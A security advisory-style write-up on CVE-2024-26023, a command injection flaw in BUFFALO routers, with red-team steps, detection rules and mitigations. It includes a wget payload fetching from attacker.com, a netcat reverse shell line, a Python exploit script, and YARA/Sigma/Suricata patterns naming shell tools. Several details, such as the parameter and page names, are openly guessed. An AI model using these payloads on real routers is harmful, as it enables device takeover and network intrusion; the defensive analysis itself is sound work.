CVE-2024-26023

Executive Summary

CVE-2024-26023 is an OS command injection vulnerability identified in BUFFALO wireless LAN routers. The flaw allows a logged-in user to execute arbitrary operating system commands on the device. This vulnerability is particularly dangerous because it can lead to full device compromise, network pivoting, and persistent backdoor installation. The vendor, BUFFALO, has not released a patch or official advisory at this time, leaving affected devices exposed. The EPSS score is 0.0%, indicating low exploitation probability in the wild currently, but the risk remains high for targeted attacks.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the nature of the vulnerability (OS command injection by an authenticated user), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Adjacent Network (A) – requires network access to the router's management interface.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): Low (L) – attacker must have a valid user account.
• User Interaction (UI): None (N) – no user action required beyond login.
• Scope (S): Changed (C) – compromise of the router can affect other systems.
• Confidentiality (C): High (H) – full access to device data.
• Integrity (I): High (H) – ability to modify system files.
• Availability (A): High (H) – can cause denial of service.

Estimated CVSS v3.1 Score: 8.8 (High)

Threat Level: High – authenticated command injection can lead to complete device takeover.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of BUFFALO wireless LAN routers. The application fails to properly sanitize user-supplied input before passing it to a system shell. A logged-in user can inject arbitrary OS commands through a vulnerable parameter (likely in the admin panel, such as a diagnostic or configuration page). The injection point is likely in a field that is used to construct a command string, e.g., ping, traceroute, or nslookup functionality.

Attack Flow:

1. Attacker authenticates to the router's web interface (default credentials or brute-forced).
2. Attacker navigates to a vulnerable page (e.g., "Diagnostics" or "Tools").
3. Attacker injects a command separator (e.g., ;, |, &&) followed by the malicious command.
4. The router executes the command with root privileges.
5. Attacker gains remote code execution on the device.

Example Injection:

127.0.0.1; wget http://attacker.com/malware.sh -O /tmp/malware.sh && sh /tmp/malware.sh

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. The vulnerable code likely resembles:

Vulnerable (PHP/Python/Shell):

$ip = $_POST['ip_address'];
$output = shell_exec("ping -c 4 " . $ip);
echo $output;

Patched (Hypothetical):

$ip = $_POST['ip_address'];
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    $output = shell_exec("ping -c 4 " . escapeshellarg($ip));
    echo $output;
} else {
    echo "Invalid IP address.";
}

The patch would involve input validation and proper escaping using escapeshellarg() or similar functions.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: BUFFALO router (e.g., WSR-2533DHP, WSR-1166DHP, or similar models).
• Attacker: Kali Linux machine on the same network.
• Tools: Burp Suite, netcat, Metasploit (if module available), custom scripts.

Exploitation Steps:

1. Identify the router's IP and login to the web interface.
2. Locate the vulnerable parameter (e.g., ping_ip in a diagnostic form).
3. Intercept the request with Burp Suite.
4. Modify the parameter to include command injection:

   ping_ip=127.0.0.1; id
   

5. Observe the output in the response (e.g., uid=0(root)).
6. Establish a reverse shell:

   ping_ip=127.0.0.1; nc -e /bin/sh attacker_ip 4444
   

7. On attacker machine: nc -lvnp 4444

Example Exploit Script (Python):

import requests

target = "http://192.168.1.1"
username = "admin"
password = "password"
cmd = "id"

# Login
session = requests.Session()
login_data = {"username": username, "password": password}
session.post(target + "/login.cgi", data=login_data)

# Exploit
payload = {"ping_ip": "127.0.0.1; " + cmd}
response = session.post(target + "/diagnostics.cgi", data=payload)
print(response.text)

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual HTTP POST requests to diagnostic pages.
• Look for command separators (;, |, &&, `) in POST parameters.
• Alert on outbound connections from the router to unknown IPs (reverse shell).
• Enable logging on the router (if available) and forward logs to a SIEM.
• Use network segmentation to limit access to router management interfaces.

Honeypot Setup:

• Deploy a fake BUFFALO router interface to capture attacker behavior.
• Log all POST requests and analyze for injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from router to external IPs on ports 4444, 8080, or 31337.
• Unusual DNS queries from the router (e.g., to attacker-controlled domains).
• HTTP requests containing command separators in POST data.

Host IOCs (on router):

• Unexpected processes running (e.g., nc, bash, python).
• Modified system binaries (e.g., /bin/sh replaced).
• New files in /tmp/ or /var/run/ (e.g., malware.sh).
• Unauthorized SSH keys in /etc/dropbear/ or /etc/ssh/.

File IOCs:

• /tmp/malware.sh
• /tmp/.backdoor
• /etc/init.d/S99backdoor

Detection Engineering

YARA Rule

rule CVE_2024_26023_Command_Injection {
    meta:
        description = "Detects command injection attempts against BUFFALO routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-26023"
    strings:
        $cmd1 = /[;&|`]\s*(wget|curl|nc|bash|sh|python|perl|telnet|ftp)/
        $cmd2 = /(ping|traceroute|nslookup)\s*[;&|`]/
        $cmd3 = /127\.0\.0\.1\s*[;&|`]/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-26023 BUFFALO Router Command Injection
id: 7a8b3c4d-5e6f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects command injection attempts against BUFFALO wireless LAN routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'ping_ip='
            - 'traceroute_ip='
            - 'nslookup_host='
        cs-uri-query|re: '.*[;&|`].*'
    condition: selection
falsepositives:
    - Legitimate use of diagnostic tools with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26023 BUFFALO Router Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/diagnostics.cgi"; http_uri; pcre:"/(ping_ip|traceroute_ip|nslookup_host)=[^&]*[;&|`]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management – If not required, disable WAN-side access to the router's web interface.
2. Change default credentials – Use strong, unique passwords for all router accounts.
3. Limit access – Restrict management access to trusted IPs only (if supported).
4. Monitor logs – Enable and review router logs for suspicious activity.

Long-term Fix:

• Vendor patch – Await an official firmware update from BUFFALO. Check the vendor's support page regularly.
• Firmware upgrade – If a patched version becomes available, apply it immediately.
• Replace device – If no patch is released, consider replacing the router with a more secure model from a different vendor.

Workaround:

• Use a firewall rule to block outbound connections from the router to the internet (except for necessary services like NTP).
• Implement an IDS/IPS (e.g., Suricata) to detect and block injection attempts.

Valters IT